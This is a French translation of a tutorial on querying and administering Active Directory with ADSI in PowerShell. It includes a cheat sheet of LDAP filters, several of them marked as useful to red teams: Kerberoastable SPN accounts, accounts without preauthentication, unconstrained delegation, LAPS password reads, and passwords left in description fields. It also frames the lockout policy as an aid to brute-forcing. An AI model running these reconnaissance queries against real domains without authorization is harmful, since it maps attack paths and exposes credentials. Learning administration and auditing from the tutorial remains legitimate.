#


# Gestion des objets Active Directory avec PowerShell - ADSI Edit FR v1

Dates des Modifications Intervenants Twitter Remarques
9 Octobre 2020 Huy KHA @DebugPrivilege Version Anglaise
9 Octobre 2020 Przemysław Kłys @PrzemyslawKlys Expertise LDAP / PowerShell
23 Octobre 2020 Olivier MATHIEU - Expertise LDAP
23 Octobre 2020 Florian MICHAUX - Conseils
23 Octobre 2020 Corentin LE BIVIC - Pandoc
25 Novembre 2020 mudpak - Version Française
Février 2023 Olivier MATHIEU - Intégration sur blog

# 0. Avant-propos

# 0.1 Important

Ce document est une traduction française du document orignal rédigé en anglais par Huy KHA.

L’auteur se réserve le droit

  • D’ajouter

  • De modifier

  • Supprimer

Le contenu sans préavis.

Tous les liens ont étés vérifiés et sont fonctionnels au moment de la rédaction du document, cependant certains ne semblent pas fonctionner lorsqu'on essaie un copié / collé (problème d'encodage) je suis en train de chercher une solution pour pallier à ce problème.

Ce document est la propriété exclusive de Huy KHA, il le met cependant à disposition du public pour que tout le monde puisse prendre connaissance et conscience de ce qui est possible de faire via l'éditeur ADSI tant au point de vue d'un Administrateur Système qu'au point de vue du domaine Offensif et Défensif.

Les documents originaux (en version Anglaise) se trouvent aux adresses ci-dessous :

https://www.linkedin.com/posts/huykha_manage-active-directory-objects-with-adsi-activity-6725300585291165696-q-Un

https://security-tzu.com/2020/10/22/manage-active-directory-objects-with-adsi/

https://identityandsecuritydotcom.files.wordpress.com/2020/10/adsi_edit.pdf

# 0.2 Contacts :

Si vous souhaitez entrer en contact avec les auteurs, vous trouverez ci-dessous leurs coordonnées :

Remarques :

  • le document peut comporter des erreurs, de traduction ou d'interprétation, vous êtes libres de contacter les auteurs et nous vous en remerciant d'avance.

  • vous pouvez également contribuer à l'amélioration du projet en proposant vos suggestions sur la page GitLab dédiée - https://gitlab.com/mudpak/adsi-edit-fr.

  • les commandes sont listées ligne par ligne pour une meilleure lisibilité, vous pouvez évidemment les lancer tels des blocs de scripts.

# 0.3 Prérequis

Il est recommandé

  • d'avoir des connaissances sur l'environnement Microsoft Windows Active Directory

  • d'avoir des connaissances sur le langage PowerShell

Même si vous n'avez pas les connaissances sur ces sujets, vous pourrez néanmoins vous servir du document en approfondissant les connaissances selon vos besoins.

# 0.4 Remerciements

Nous tenons à remercier Przemysław Kłys de nous avoir aidé PowerShell, notamment sur les questions liées aux filtres de recherche LDAP.

Przemysław est certifié MVP Microsoft dans le domaine de la gestion du cloud et des centres de données.

Son site web traite les sujets suivants

  • PowerShell

  • Active Directory

  • Office 365

Son site est disponible à l'adresse suivante :

https://evotec.xyz/

Mudpak tiens à remercier Huy de m'avoir accordé sa confiance en me sollicitant pour la traduction du document, merci pour les connaissances que j'ai acquises en travaillant sur le projet, you the best bro !

# 0.5 Résumé

Le but de ce document est d'avoir une meilleure compréhension de l'ADSI et d'apprendre comment gérer l'Active Directory.
L'éditeur ADSI est un utilitaire qui fais partie de des outils RSAT.
Il permet aux administrateurs de gérer et voir les objets et attributs dans une forêt AD.

Quoiqu'il en soit l'éditeur ADSI est installé sur tous les postes ayant rejoint un domaine AD, que les outils RSAT soient installés ou non.
Ce qui le rend d'un côté plus intéressant pour l'administration mais d'un autre côté d'un point de vue Offensif.

Si nous regardons d'un point de vue de l'administration, ADSI offre les mêmes possibilités que les outils RSAT PowerShell ce qui le rend bien meilleur sur ses performances, ce qui ne requiert pas d'installation pour gérer un serveur AD.

Si nous regardons d'un point de vue Offensif, puisque ADSI est disponible sur toutes les machines appartenant à un domaine, les attaquants pourraient l'utiliser pour effectuer une reconnaissance sur une cible.

# 1. Introduction

Il est très important de préciser que ceci n'est pas un cours de PowerShell, cependant nous allons énormément utiliser ce langage tout au long de ce document.

# Résumé

J'ai commencé en tant qu'administrateur Windows et Active Directory avant de continuer en sécurité.

A cette époque je ne savais pas grand-chose sur l'AD, et me souviens même d'une personne ayant dit que "qu'elle n'avait pas suffisamment de droits pour gérer un AD" car elle ne pouvait pas lancer la console Utilisateurs et Ordinateurs Active Directory.

Vous pouvez imaginer que cette personne qui posait cette question est devenue Administrateur du Domaine pour se connecter au contrôleur de domaine et lancer la console Utilisateur et ordinateurs active directory.

Je ne me souciais guère de la sécurité, mais j'ai compris que ce n'était pas une bonne idée que de donner des privilèges d'Administrateur du Domaine à tout le monde.
La plus-part d'entre eux n'en ont pas besoin, notamment pour utiliser la console Utilisateurs et ordinateurs active directory présente sur tous les contrôleurs du domaine.

J'ai commencé à utiliser l'interface graphique (Console Utilisateurs et ordinateurs active directory) et je continue de l'utiliser, mais j'ai réalisé que ce n'est pas une manière efficiente lorsque j'ai des tâches à automatiser.
Alors j'ai décidé d'utiliser ADSI en ligne de commande dans le but de gérer l'AD.

J'ai documenté chaque requête et j'ai essayé de comprendre comment je pourrais l'utiliser via la ligne de commande.
Le document a commencé à être rédigé en 2016, je l'ai mis à jour en ajoutant une couche "Sécurité" dans le but de vous le partager.

Dans ce document vous allez principalement apprendre comment énumérer les informations dans un AD et comment effectuer les tâches d'administration que chaque administrateur doit effectuer.
Différents exemples sont montrés pour garder le document claire et simple.

# 1.1 Présentation de ADSI

# Résumé

ADSI ou Active Directory Service Interface est un utilitaire qui permet aux administrateurs de voir et gérer les objets et leurs attributs dans l'AD.

ADSI fais partie des outils RSAT (Remote Server Administration Toolkit), qui se trouvent dans le répertoire system32 lorsqu'ils sont installés.

Voici un aperçu de la console graphique ADSI :

Nous pouvons voir qu'il est possible de gérer les objets et leurs attributs comme vu précédemment.
Nous pouvons également voir les propriétés LDAP ci-dessous.

Dans l'exemple, l'attribut ms-DS-MachineAccountQuota permet de définir le nombre de comptes d'ordinateur un utilisateur est autorisé à créer dans le domaine.

# 1.2 Propriétés LDAP

# Résumé

L'AD a des objets et attributs. Chaque objet contient différents attributs et les attributs peuvent être

  • un nom

  • un email

  • numéro de téléphone

  • ...

Ci-dessous nous pouvons voir les attributs LDAP, il est possible de les "lire" pour tous les utilisateurs authentifiés.

Puisque ces attributs sont disponibles en "lecture" pour tous les utilisateurs authentifiés, il n'est pas nécessaire d'avoir des privilèges pour connaitre ces informations.

# 1.3 Propriétés LDAP d'horodatage

# Résumé

Nous allons effectuer une requête LDAP sur une propriété qui existe dans le DNC (Domain Naming Context).\

Le DNC contient tous les objets qui sont répertoriés (ou stockés) dans un domaine.

Ci-dessous nous pouvons voir l'attribut minPwdLength qui spécifie le nombre de caractères minimum qu'un mot de passe peut contenir.

Saisir la commande suivante :

[adsi]"LDAP://DC=contoso,DC=com" | Format-List minPwdLength

Nous avons bien comme résultat l'attribut, et nous pouvons voir que le nombre minimal de caractères pour la longueur du mot de passe est de 7.

Effectuer la requête LDAP suivante qui donne un résultat similaire à la précédente :

net accounts /do

Nous allons sélectionner plusieurs attributs qui existent dans le DNC.
Saisir la commande suivante :

[adsi]"LDAP://DC=contoso,DC=com" | Format-List *

Nous allons requêter sur les 3 attributs ci-dessous :

  • lockoutDuration

  • lockOutObservationWindow

  • lockoutThreshold

Saisir les commandes suivantes :

$DNC = [adsi]"LDAP://DC=contoso,DC=com"
[PSCustomObject] @{
lockoutThreshold = $DNC.lockoutThreshold.Value
lockoutDuration = $DNC.ConvertLargeIntegerToInt64($DNC.lockoutDuration.Value) / ( - 600000000)
lockOutObservationWindow = $DNC.ConvertLargeIntegerToInt64($DNC.lockOutObservationWindow.Value) / ( - 600000000)
}

Nous pouvons voir la politique de verrouillage de compte dans l'AD. Ce qui est très utile lorsqu'on effectue une attaque de BruteForce du compte.

Nous pouvons également utiliser la commande suivante

"[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()"

à la place de

"[adsi]"LDAP://DC=contoso,DC=com"

Saisir les commandes suivantes :

$DNC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$DNC = [adsi]"LDAP://$DNC"
[PSCustomObject] @{
lockoutThreshold = $DNC.lockoutThreshold.Value
lockoutDuration = $DNC.ConvertLargeIntegerToInt64($DNC.lockoutDuration.Value) / ( - 600000000)
}

Nous obtenons le même résultat, et nous n'avons pas besoin de saisir le "distinguishedName".

Remarque : Chaque fois que vous voyez quelque chose de semblable à "", la valeur originale peut être un horodatage.
ADSI dispose d'une méthode nommée ConvertLargeIntegerToInt64 qui permet de convertir n'importe quel horodatage en attribut.

Nous allons maintenant voir quand est-ce que le mot de passe du compte KRBTGT a été réinitialisé pour la dernière fois.

La première chose à faire est de savoir où se trouve ce compte dans l'AD.

Par défaut le compte se trouve dans le container Utilisateurs.

Saisir les commandes suivantes :

$ChildItems = ([ADSI]"LDAP://CN=users,DC=contoso,DC=com")
$ChildItems.psbase.Children |? distinguishedName -Match "krbtgt"

Comme attendu, nous obtenons bien l'emplacement du compte, qui est

  • LDAP://CN=krbtgt,CN=users,DC=contoso,DC=com

Saisir la commande suivante :

[adsi]"LDAP://CN=krbtgt,CN=users,DC=contoso,DC=com" | FormatTable name, pwdLastSet

Nous ne pouvons pas voir la valeur de l'attribut pwdLastSet.

Puisque l'attribut pwdLastSet est un horodatage, nous avons besoin d'une méthode pour le convertir en une valeur.

Saisir les commandes suivantes :

$user = [adsi]"LDAP://CN=krbtgt,CN=Users,DC=contoso,DC=com"
[PSCustomObject] @{
name = $user.name.Value
pwdLastSet = [datetime]::FromFileTime($user.ConvertLargeIntegerToInt64($user.pwdLastSet.value))
}

Nous pouvons désormais voir la valeur de l'attribut pwdLastSet

Maintenant prenons l'exemple d'un autre attribut horodatage lastLogon.

Saisir les commandes suivantes :

$user = [adsi]"LDAP://CN=krbtgt,CN=Users,DC=contoso,DC=com"
[PSCustomObject] @{
name = $user.name.Value
pwdLastSet = [datetime]::FromFileTime($user.ConvertLargeIntegerToInt64($user.pwdLastSet.value))
lastLogon = [datetime]::FromFileTime($user.ConvertLargeIntegerToInt64($user.lastLogon.value))
} | Format-List

Nous pouvons voir les valeurs des attributs pwdLastSet et lastLogon.

# 1.4 Filtres de recherches LDAP

# Résumé

Les filtres de recherches LDAP permettent de renvoyer des valeurs pour une opération précise.

Voici quelques exemples ci-dessous :

Source :

https://social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx

Il est important de savoir que les filtres LDAP sont

  • objectClass

  • objectCategory

objectClass est un composant du schéma AD, ce qui peut être par exemple

  • un ordinateur

  • une OU (Unité d'Organisation)

  • un container

  • une GPO (Stratégie de Groupe)

  • ...

Il n'y a pas de grande différence entre objectClass et objectCategory.
Cependant il est recommandé d'utiliser objectCategory pour les filtres, car objectCategory est à la fois une valeur unique et indexée tandis que objectClass est à valeurs multiples et non indexée.

En d'autres termes les requêtes LDAP avec objectCategory seront plus efficientes contrairement à celles avec objectClass.

Ci-dessous nous pouvons voir que l'attribut objectCategorty sur un objet, dans notre cas un ordinateur.

Saisir la commande suivante :

([adsisearcher]'(objectCategory=computer)').FindAll()

Modifions notre commande pour nous intéresser uniquement aux contrôleurs de domaine.

Comme vous devez surement le savoir, lorsqu'un poste est promu Contrôleur de Domaine, il devient membre du groupe "Contrôleurs de domaine".
Ce groupe se trouve dans le container "Utilisateurs" et son objectSID se termine par 516.

Ce qui signifie si vous souhaitez trouver tous les contrôleurs de domaine dans votre réseau, il faut saisir la commande suivante :

([adsisearcher]'(&(objectCategory=computer)(primaryGroupID=516))').FindAll()

Comme vous pouvez le constater dans la commande, nous utilisons l'opérateur logique ET : "&".
C'est dû au fait que nous effectuons deux opérations en même temps, d'une part

  • nous cherchons tous les postes du domaine

D’autre part

  • nous cherchons les postes qui sont des contrôleurs de domaine

Nous obtenons tous les contrôleurs de domaine de notre réseau :

Vous vous demandez sans doute pourquoi on filtre sur l'attribut primaryGroupID=516 ?

Ci-dessous nous pouvons voir l'attribut primarygroupID sur une machine dans l'AD.

A l'attribut objectCategory nous constatons qu'il s'agit d'un ordinateur.
A l'attribut primaryGroupID nous constatons qu'il se termine par 516 et comme précisé précédemment l'attribut objectSID pour les contrôleurs de domaine se termine par 516.

Ajoutons d'autres paramètres dans la requête LDAP, nous allons filtrer tous les postes qui sont contrôleurs de domaine mais dont le système d'exploitation est Windows Server 2019.

Saisir la commande suivante :

([adsisearcher]'(&(objectCategory=computer)(primaryGroupID=516))').FindAll()

Puisque nous cherchons des serveurs 2019, nous pouvons faire une recherche via l'attribut operatingSystem qui existe sur tous les comptes d'ordinateur.

Nous obtenons deux résultats :

Saisir la commande suivante :

([adsisearcher]'(&(objectCategory=computer)(operatingSystem=Windows Server 2019*)(primaryGroupID=516))').FindAll()

Dans la commande ci-dessus nous avons inclus 3 attributs qui sont

  • objectCategory

  • operatingSystem

  • primaryGroupID

Désormais nous n'avons qu'un seul résultat qui correspond à notre critère de recherche :

Pour ce dernier exemple nous allons effectuer une requête LDAP pour obtenir la liste de tous les utilisateurs qui sont dans le groupe Administrateur du domaine.

Tous les groupes AD ont un attribut spécial nommé memberOf.
Cet attribut permet de savoir à quel groupe appartient un utilisateur.

Voici un exemple :

Nous allons effectuer une requête pour énumérer les membres du groupe Administrateur du domaine.

Saisir la commande suivante :

([adsisearcher]'(memberOf=cn=DomainAdmins,CN=Users,dc=contoso,dc=com)').FindAll()

Nous obtenons la liste de tous les utilisateurs appartenants au groupe Administrateur du domaine.

Nous allons désormais effectuer une requête pour afficher tous les comptes ayant un SPN et ensuite afficher l'attribut pwdLastSet pour ceux qui en ont un également.

Saisir la commande suivante :

([adsisearcher]'(&(objectCategory=user)(servicePrincipalName=*))').FindAll()

Nous obtenons les comptes utilisateurs qui ont un SPN :

Comme nous le savons, ces mêmes comptes ont également des propriétés LDAP, tels que

  • name

  • pwdLastSet

  • lastLogon

  • adminCount

  • ...

Dans notre cas on s'intéresse à name et pwdLastSet.

Saisir les commandes suivantes :

$as = [adsisearcher]"(&(objectCategory=user)(servicePrincipalName=*))" 
$as.PropertiesToLoad.Add('name')
$as.PropertiesToLoad.Add('pwdLastSet')
$as.FindAll() | ForEach-Object {
$props = @{ 'name' = ($_.properties.item('name') | Out-String).Trim()
'pwdLastSet' = ([datetime]::FromFiletime(($_.properties.item('pwdLastSet') | OutString).Trim())) }
New-Object psObject -Property $props
}

Nous obtenons tous les utilisateurs qui ont un SPN et aussi les propriétés que nous souhaitions afficher, à savoir

  • name

  • pwdLastSet

Pour terminer cet exemple, nous allons ajouter l'attribut lastLogon dans notre commande.

Saisir les commandes suivantes :

$as = [adsisearcher]"(&(objectCategory=user)(servicePrincipalName=*))" 
$as.PropertiesToLoad.Add('name')
$as.PropertiesToLoad.Add('lastLogon')
$as.PropertiesToLoad.Add('pwdLastSet')
$as.FindAll() | ForEach-Object {
$props = @{ 'name' = ($_.properties.item('name') | Out-String).Trim()
'pwdLastSet' = ([datetime]::FromFiletime(($_.properties.item('pwdLastSet') | OutString).Trim()))
'lastLogon' = ([datetime]::FromFiletime(($_.properties.item('lastLogon') | OutString).Trim())) }
New-Object psObject -Property $props
}

Nous obtenons les informations souhaitées dans un format plus lisible

  • name

  • pwdLastSet

  • lastLogon

Voici un Cheat Sheet / aide-mémoire de commandes LDAP.

La majorité des commandes proviennent du site cité en source, mais j'ai rajouté certaines commandes personnalisées.

Source :

https://social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx

Les intitulés des commandes en \textcolor, signifient que les commandes peut être intéressantes pour les Pentesters \textcolor{(Red Team)}.

  • Tous les objets utilisateurs
([adsisearcher]'(&(objectCategory=person)(objectClass=user))').FindAll()
  • Tous les objets ordinateurs
([adsisearcher]'(objectCategory=computer)').FindAll()
  • Tous les objets groupes
([adsisearcher]'(objectCategory=group)').FindAll()
  • Toutes les OU (Unité d'organisation)
([adsisearcher]'(objectCategory=organizationalUnit)').FindAll()
  • Tous les containers
([adsisearcher]'(objectCategory=container)').FindAll()
  • Tous les objets du domaine
([adsisearcher]'(objectCategory=domain)').FindAll()
  • Les objets ordinateurs sans description
([adsisearcher]'(&(objectCategory=computer)(!(description=*)))').FindAll()
  • Tous les objets groupes avec une description
([adsisearcher]'(&(objectCategory=group)(description=*))').FindAll()
  • Utilisateurs avec un CN (Common Name) commençant par "Jon"
([adsisearcher]'(&(objectCategory=person)(objectClass=user)(cn=Jon*))').FindAll()
  • Utilisateurs avec un numéro de téléphone
([adsisearcher]'(telephoneNumber=*)').FindAll()
  • \textcolor{Noms des groupes commençant par "Test" ou "Admin"}
([adsisearcher]'(&(objectCategory=group)(|(cn=Test*)(cn=Admin*)))').FindAll()
  • \textcolor{Tous les comptes qui commencent par "svc" ou "adm"}
([adsisearcher]'(&(objectCategory=user)(|(cn=svc*)(cn=Adm*)))').FindAll()
  • Tous les utilisateurs avec leur prénom et nom
([adsisearcher]'(&(objectCategory=person)(objectClass=user)(givenName=*)(sn=*))').FindAll()
  • \textcolor{Tous les utilisateurs dont le champ "script" est renseigné}
([adsisearcher]'(&(objectCategory=person)(objectClass=user)(scriptPath=*))').FindAll()
  • Objets avec sAMAccountName commençant avec "x", "y" ou "z"
([adsisearcher]'(sAMAccountName>=x)').FindAll()
  • Pbjets avec sAMAccountName commençant avec "a" or n'importe quel nombre ou symbole excepté "$"
([adsisearcher]'(&(sAMAccountName<=a)(!(sAMAccountName=$*)))').FindAll()
  • \textcolor{Tous les utilisateurs dont :
  • dont le mot de passe n'expire jamais
  • dont l'expiration du mot de passe n'est pas défini }
([adsisearcher]'(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=66048))').FindAll()
  • Tous les objets utilisateurs qui sont désactivés
([adsisearcher]'(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))').FindAll()
  • Tous les objets utilisateurs actifs
([adsisearcher]'(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))').FindAll()
  • Tous les comptes utilisateurs qui ne requièrent pas de mots de passe
([adsisearcher]'(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=544))').FindAll()
  • \textcolor{Tous les utilisateurs pour lesquels le pré authentification Kerberos n'est pas activée}
([adsisearcher]'(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))').FindAll()
  • Utilisateurs dont le compte n'expire pas
([adsisearcher]'(&(objectCategory=person)(objectClass=user)(|(accountExpires=0)(accountExpires=9223372036854775807)))').FindAll()
  • Comptes utilisateurs qui expirent
([adsisearcher]'(&(objectCategory=person)(objectClass=user)(accountExpires>=1)(accountExpires<=9223372036854775806))').FindAll()
  • \textcolor{Comptes approuvés pour la délégation sans contrainte tout en excluant tous les DC.}
([adsisearcher]'(&(!(primaryGroupID=516)(userAccountControl:1.2.840.113556.1.4.803:=524288)))').FindAll()
  • \textcolor{Tous les ordinateurs approuvés pour la délégation sans contrainte tout en excluant tous les DC.}
([adsisearcher]'(&(objectCategory=computer)(!(primaryGroupID=516)(userAccountControl:1.2.840.113556.1.4.803:=524288)))').FindAll()
  • \textcolor{Tous les comptes utilisateurs approuvés pour la délégation sans contrainte tout en excluant tous les DC.}
([adsisearcher]'(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=524288))').FindAll()
  • \textcolor{Tous les comptes sensibles et ne pouvant être délégués. }
([adsisearcher]'(userAccountControl:1.2.840.113556.1.4.803:=1048576)').FindAll()
  • Tous les groupes de distribution
([adsisearcher]'(&(objectCategory=group)(!(groupType:1.2.840.113556.1.4.803:=2147483648)))').FindAll()
  • Tous les groupes de sécurité
([adsisearcher]'(groupType:1.2.840.113556.1.4.803:=2147483648)').FindAll()
  • Tous les groupes intégrés (built-in)
([adsisearcher]'(groupType:1.2.840.113556.1.4.803:=1)').FindAll()
  • Tous les groupes globaux
([adsisearcher]'(groupType:1.2.840.113556.1.4.803:=2)').FindAll()
  • Tous les groupes locaux
([adsisearcher]'(groupType:1.2.840.113556.1.4.803:=4)').FindAll()
  • Tous les groupes universaux
([adsisearcher]'(groupType:1.2.840.113556.1.4.803:=8)').FindAll()
  • Tous les groupes globaux de sécurité
([adsisearcher]'(groupType=-2147483646)').FindAll()
  • Tous les groupes universels de sécurité
([adsisearcher]'(groupType=-2147483640)').FindAll()
  • Tous les groupes de sécurité locale
([adsisearcher]'(groupType=-2147483644)').FindAll()
  • Tous les groupes globaux de distribution
([adsisearcher]'(groupType=2)').FindAll()
  • Tous les comptes avec un SPN, excepté le compte KRBTGT
([adsisearcher]'(&(objectCategory=user)(!(samAccountName=krbtgt)(servicePrincipalName=*)))').FindAll()
  • Tous les utilisateurs pour lesquels l'administrateur a défini le paramètre "doit changer de mot de passe à la prochaine connexion"
([adsisearcher]'(&(objectCategory=person)(objectClass=user)(pwdLastSet=0))').FindAll()
  • Tous les utilisateurs dont le groupe primaire est autre que "Utilisateurs du domaine"
([adsisearcher]'(&(objectCategory=person)(objectClass=user)(!(primaryGroupID=513)))').FindAll()
  • Tous les ordinateurs ayant comme groupe primaire Ordinateurs du domaine
([adsisearcher]'(&(objectCategory=computer)(primaryGroupID=515))').FindAll()
  • Tous les ordinateurs qui ne sont pas contrôleurs de domaine
([adsisearcher]'(&(objectCategory=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=8192)))').FindAll()
  • Tous les contrôleurs de domaine
([adsisearcher]'(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))').FindAll()
  • Tous les serveurs
([adsisearcher]'(&(objectCategory=computer)(operatingSystem=*server*))').FindAll()
  • \textcolor{Tous les membres directs d'un groupe spécifique (exemple : Administrateurs du domaine)}
([adsisearcher]'(memberOf=cn=DomainAdmins,cn=Users,dc=contoso,dc=com)').FindAll()
  • \textcolor{Tous les membres d'un groupe spécifique, y compris dans des groupes imbriqués}
([adsisearcher]'(memberOf:1.2.840.113556.1.4.1941:=cn=DomainAdmins,CN=Users,dc=contoso,dc=com)').FindAll()
  • \textcolor{Tous les groupes auxquels appartient l'utilisateur, y compris des groupes imbriqués}
([adsisearcher]'(member:1.2.840.113556.1.4.1941:= CN=JonJones,OU=LHW,dc=contoso,dc=com)').FindAll()
  • \textcolor{Tous les objets protégés par AdminSDHolder}
([adsisearcher]'(adminCount=1)').FindAll()
  • \textcolor{Toutes les connexions de confiance établies avec un domaine}
([adsisearcher]'(objectClass=trustedDomain)').FindAll()
  • \textcolor{Toutes les GPO (Stratégies de Groupes / Group Policy Objects) }
([adsisearcher]'(objectCategory=groupPolicyContainer)').FindAll()
  • Tous les contrôleurs de domaine en mode lecture seule
([adsisearcher]'(userAccountControl:1.2.840.113556.1.4.803:=67108864)').FindAll()
  • Tous les serveurs Exchange
([adsisearcher]'(objectCategory=msExchExchangeServer)').FindAll()

Voici mes quelques requêtes LDAP que je n'avais pas encore posté sur internet.

Les intitulés des commandes en \textcolor, signifient que les commandes peut être intéressantes pour les Pentesters (Red Team) et aussi pour les équipes de sécurité \textcolor{(Blue Team)}.

  • Lister les entrées DNS
([adsisearcher]'(objectClass=dnsnode)').FindAll()
  • \textcolor
([adsisearcher]'(&(objectCategory=computer)(ms-MCSAdmPwd=*))').FindAll().properties
  • Tous les utilisateurs dont le compteur de mot de passe erroné est à 1 ou supérieur
([adsisearcher]'(&(objectCategory=user)(badpwdcount>=1))').FindAll()
  • \textcolor{Tous les comptes de services qui font partie du groupe (built-in) et qui sont protégés par AdminSDHolder, tels que}

    • Administrateurs du domaine

    • Administrateurs de l'entreprise

    • Administrateur

([adsisearcher]'(&(objectClass=user)(!(samAccountName=krbtgt)(servicePrincipalName=*)(adminCount=1)))').FindAll()
  • \textcolor{Tous les comptes qui ne requièrent pas de mots de passe (PASSWD_NOTREQ)}
([adsisearcher]'(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))').FindAll()
  • Tous les comptes dont le chiffrement Kerberos "DES" est activé
([adsisearcher]'(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2097152))').FindAll()
  • Tous les comptes dont le stockage du mot de passe à l'aide d'un chiffrement irréversible est activé
([adsisearcher]'(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=128))').FindAll()
  • Tous les comptes n'ayant jamais étés utilisés
([adsisearcher]'(&(objectCategory=person)(objectClass=user)(lastlogon=0))').FindAll()
  • Tous les comptes n'ayant jamais étés utilisés en excluant ceux avec un SPN
([adsisearcher]'(&(objectCategory=person)(objectClass=user)(!(servicePrincipalName=*)(lastlogon=0)))').FindAll()
  • Tous les groupes de sécurité qui sont vides
([adsisearcher]'(&(objectCategory=group)(groupType=-2147483646)(!(member=*)))').FindAll()
  • \textcolor{Tous les objets utilisateurs qui contiennent "password" dans leur champ "description"}
([adsisearcher]'(&(objectCategory=person)(objectClass=user)(description=password*))').FindAll()

# 1.5 Filtres basiques et opérateurs logiques

# Résumé

Vous devez comprendre les opérateurs logiques pour optimiser vos requêtes LDAP.

Nous allons voir par la suite les opérateurs logiques avec des exemples détaillés.
Il n'y a rien de bien compliqué mais cela requiert simplement la logique qui est derrière.

Source :

https://devblogs.microsoft.com/scripting/use-powershell-to-query-active-directory-from-the-console/

Pour obtenir tous les utilisateurs du domaine, nous allons utiliser l'opérateur égal "=".

Pour obtenir la liste de tous les ordinateurs du domaine, saisir la commande suivante :

([adsisearcher]'(objectClass=user)').FindAll()

Maintenant nous allons modifier la commande pour obtenir la liste de tous les utilisateurs qui sont protégés par AdminSDHolder.
Pour les voir nous allons utiliser l'attribut "adminCount=1".

Puisque nous allons utiliser la commande précédente et ajouter des paramètres supplémentaires, nous allons utiliser l'opérateur "&" pour cumuler les recherches, d'une part

  • tous les utilisateurs

D’autre part

  • dont l'attribut "adminCount=1"

Saisir la commande suivante :

([adsisearcher]'(&(adminCount=1)(objectClass=user))').FindAll()

Maintenant nous allons faire l'inverse de ce qu'on nous avons fait précédemment, c'est à dire utiliser l'opérateur "!" pour dire qu'on souhaite exclure des résultats les utilisateurs ayant comme attribut "adminCount" et valeur à cet attribut "1".

Saisir la commande suivante :

([adsisearcher]'(&(!adminCount=1)(objectClass=user))').FindAll()

Dans les résultats nous ne voyons plus tous les comptes qui ont pour attribut "adminCount" et valeur à cet attribut "1".

Un autre opérateur est "|", celui-ci signifie "OU" (dans le sens : cette valeur ou une autre...).

Prenons l'exemple dans lequel nous souhaitons trouver les objets avec l'attribut samAccountName a pour début SVC et Admin.

Nous pouvons utiliser l'opérateur "|".

Saisir la commande suivante :

([adsisearcher]'(&(|(samAccountName=svc*)(samAccountName=admin*)))').FindAll()

La commande va permettre de chercher parmi tous les objets du domaine, incluant

  • les utilisateurs

  • les groupes

  • ordinateurs

dont l'attribut samAccountName commence par "svc" et "admin"

Voyons maintenant les deux derniers opérateurs qui sont

  • <=

  • >=

L'opérateur "<=" signifie inférieur un égal à quelque chose.
L'opérateur ">=" signifie supérieur ou égal à quelque chose.

Saisir la commande suivante :

([adsisearcher]'(&(objectCategory=user)(badpwdcount<=5))').FindAll().count

Nous pouvons voir qu'il y a 31 utilisateurs pour lesquels des tentatives de connexions ont échouées 5 fois ou moins.

Saisir la commande suivante :

([adsisearcher]'(&(objectCategory=user)(badpwdcount>=5))').FindAll().count

Nous allons chercher les utilisateurs qui se sont trompés de mots de passe 5 fois ou plus.

Nous pouvons voir qu'il y a seulement 3 utilisateurs.

# 2. Les tâches d'administration

# 2.1 Créer un compte utilisateur

# Résumé

Dans cette section nous allons créer un compte utilisateur avec ADSI.
Nous n'utiliserons pas l'interface graphique de ADSI, mais tout se fera à l'aide du terminal.

Nous allons prendre le temps de vous expliquer chaque étape pour que vous compreniez la logique.

Dans notre cas, nous allons créer un compte pour "Anthony Smith" dans l'OU nommée "LHW".

Nous pouvons voir le chemin LDAP de l'OU :

Pour créer le nouveau compte, saisir les commandes suivantes :

[ADSI]$OU = "LDAP://OU=LHW,DC=contoso,DC=com"
$new = $OU.Create("user","CN=Anthony Smith")
$new.put("samaccountname","AnthonySmith")
$new.setinfo()
$new.put("userAccountControl",805306368)
$new.put("pwdLastSet",0)
$new.setpassword("MyShitPassw0rd!")
$new.setinfo()
$new.put("Description","UFC Figher at LHW")
$new.setinfo()

La commande à la première ligne permet de cibler l'OU dans laquelle nous souhaitons créer l'utilisateur "Anthony Smith", dans notre cas le chemin LDAP de l'OU est : LDAP://OU=LHW,DC=contoso,DC=com

Dans les deux prochaines lignes nous avons créé l'utilisateur et lui attribué le nom prénom (Anthony Smith).

L'attribut CN (Common Name) est le nom qui s'affichera pour le compte.
L'attribut samAccountName contient l'identifiant de connexion sur l'AD pour l'utilisateur.
La méthode SetInfo() met à jour les objets qui existent déjà dans le répertoire ou créez une nouvelle entrée d’annuaire pour les objets nouvellement créés

805306368 est la valeur de l'attribut samAccountType pour l'utilisateur, nous n'avons besoin que de cette information pour la création du compte.

Nous avons défini la valeur "0" de l'attribut pwdLastSet pour que l'utilisateur change son mot de passe à la prochaine connexion.

# 2.2 Changer les propriétés LDAP

# Résumé

Dans le chapitre précédent nous avons simplement crée le compte utilisateur "Anthony Smith".

Maintenant nous souhaitons ajouter quelques informations dans ses propriétés LDAP, tels que

  • son numéro de téléphone

  • son adresse email

Pour faire cela nous pouvons utiliser les attributs

  • telephoneNumber

  • mail

Saisir les commandes suivantes :

[ADSI]$ADSI = "LDAP://CN=AnthonySmith,OU=LHW,DC=contoso,DC=com"
$ADSI.put(“mail”, ”anthony.smith@contoso.com”)
$ADSI.put(“telephoneNumber”, ”+33 7 82838485”)
$ADSI.setinfo()

Comme vous pouvez le constater ce n'est pas bien difficile.

Dans un premier temps nous sélectionnons le chemin LDAP de l'utilisateur.
Dans un second temps nous utilisons la méthode "put() " pour ajouter des valeurs aux attributs

  • mail

  • telephoneNumber

Et pour appliquer nous utilisons la méthode "setinfo()".

Voici le résultat obtenu :

